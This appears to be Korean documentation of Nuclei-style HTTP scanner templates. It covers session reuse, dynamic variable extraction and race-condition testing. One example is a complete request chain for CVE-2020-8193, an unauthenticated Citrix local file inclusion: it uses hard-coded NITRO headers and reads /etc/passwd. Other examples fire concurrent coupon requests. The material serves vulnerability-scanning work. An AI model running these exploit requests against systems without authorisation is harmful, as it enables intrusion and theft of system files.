이 템플릿은 각 요청 간의 세션을 유지 관리하고 응답에 대한 문자열 일치를 확인하는 정의된 요청으로 후속 HTTP 요청을 만듭니다.

```yaml
id: multiple-raw-example
info:
  name: Test RAW Template
  author: pdteam
  severity: info

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |
        POST /testing HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

        testing=parameter

    cookie-reuse: true # 쿠키 재사용은 브라우저와 같은 모든 요청 간의 세션을 유지합니다.
    matchers:
      - type: word
        words:
          - "Test is test matcher text"
```

### 동적 변수 지원

이 템플릿은 각 요청 간에 세션을 유지 관리하는 연속적인 HTTP 요청을 만듭니다. 요청에서 데이터를 동적으로 추출하고 변수 이름을 사용하여 다른 요청으로 재사용한 다음, 응답에 대한 문자열 일치를 확인합니다.

```yaml
id: CVE-2020-8193

info:
  name: Citrix unauthenticated LFI
  author: pdteam
  severity: high
  reference: https://github.com/jas502n/CVE-2020-8193

http:
  - raw:
      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Content-Type: application/xml
        X-NITRO-USER: xpyZxwy6
        X-NITRO-PASS: xWXHUJ56

        <appfwprofile><login></login></appfwprofile>

      - |
        GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        GET /menu/neo HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        GET /menu/stc HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: §randkey§

        <appfwprofile><login></login></appfwprofile>

      - |
        POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: §randkey§

        <clipermission></clipermission>

    cookie-reuse: true # Using cookie-reuse to maintain session between each request, same as browser.

    extractors:
      - type: regex
        name: randkey # Variable name
        part: body
        internal: true
        regex:
          - "(?m)[0-9]{3,10}\\.[0-9]+"

    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body
```

---

## File: docs/kr/template-examples/http-race-conditions.md

### 단일 POST 요청으로 경쟁 조건 테스트.

이 템플릿은 `/coupons` 엔드포인트에 대한 RAW 형식의 정의된 POST 요청을 만듭니다. `race_count`가 `10`으로 정의되므로 모든 요청에 ​​대해 함께 보낸 모든 요청에 ​​대한 마지막 바이트를 보유하여 동시에 10개의 요청을 만듭니다. send 이벤트 동기화를 요청합니다.

또한 경쟁 조건 악용이 작동하는지 여부를 식별하는 데 도움이 되는 예상 출력에 대한 다른 템플릿으로 matcher를 정의할 수 있습니다.


```yaml
id: race-condition-testing

info:
  name: Race Condition testing
  author: pdteam
  severity: info

http:
  - raw:
      - |
        POST /coupons HTTP/1.1
        Host: {{Hostname}}
        Pragma: no-cache
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
        Cookie: user_session=42332423342987567896

        promo_code=20OFF        

    race: true
    race_count: 10

    matchers:
      - type: status
        part: header
        status:
          - 200
```

### 여러 요청으로 경쟁 조건 테스트.

이 템플릿은 `threads`가 `5`로 설정된 RAW 형식의 정의된 여러 POST 요청을 만듭니다. 경쟁 조건을 악용하기 위해 여러 요청을 보내야 할 때 `threads`를 경쟁 조건 템플릿에서 사용할 수 있습니다. `threads` 번호는 다음과 같아야 합니다. 템플릿으로 만드는 수와 동일해야 하며 단일 요청만 하는 경우에는 필요하지 않습니다.

```yaml
id: race-condition-testing

info:
  name: Race condition testing with multiple requests
  author: pdteam
  severity: info

http:
  - raw:  
      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=1
        
      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=2

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=3

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=4

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=5

    threads: 5
    race: true

    matchers:
      - type: status
        status:
          - 200
```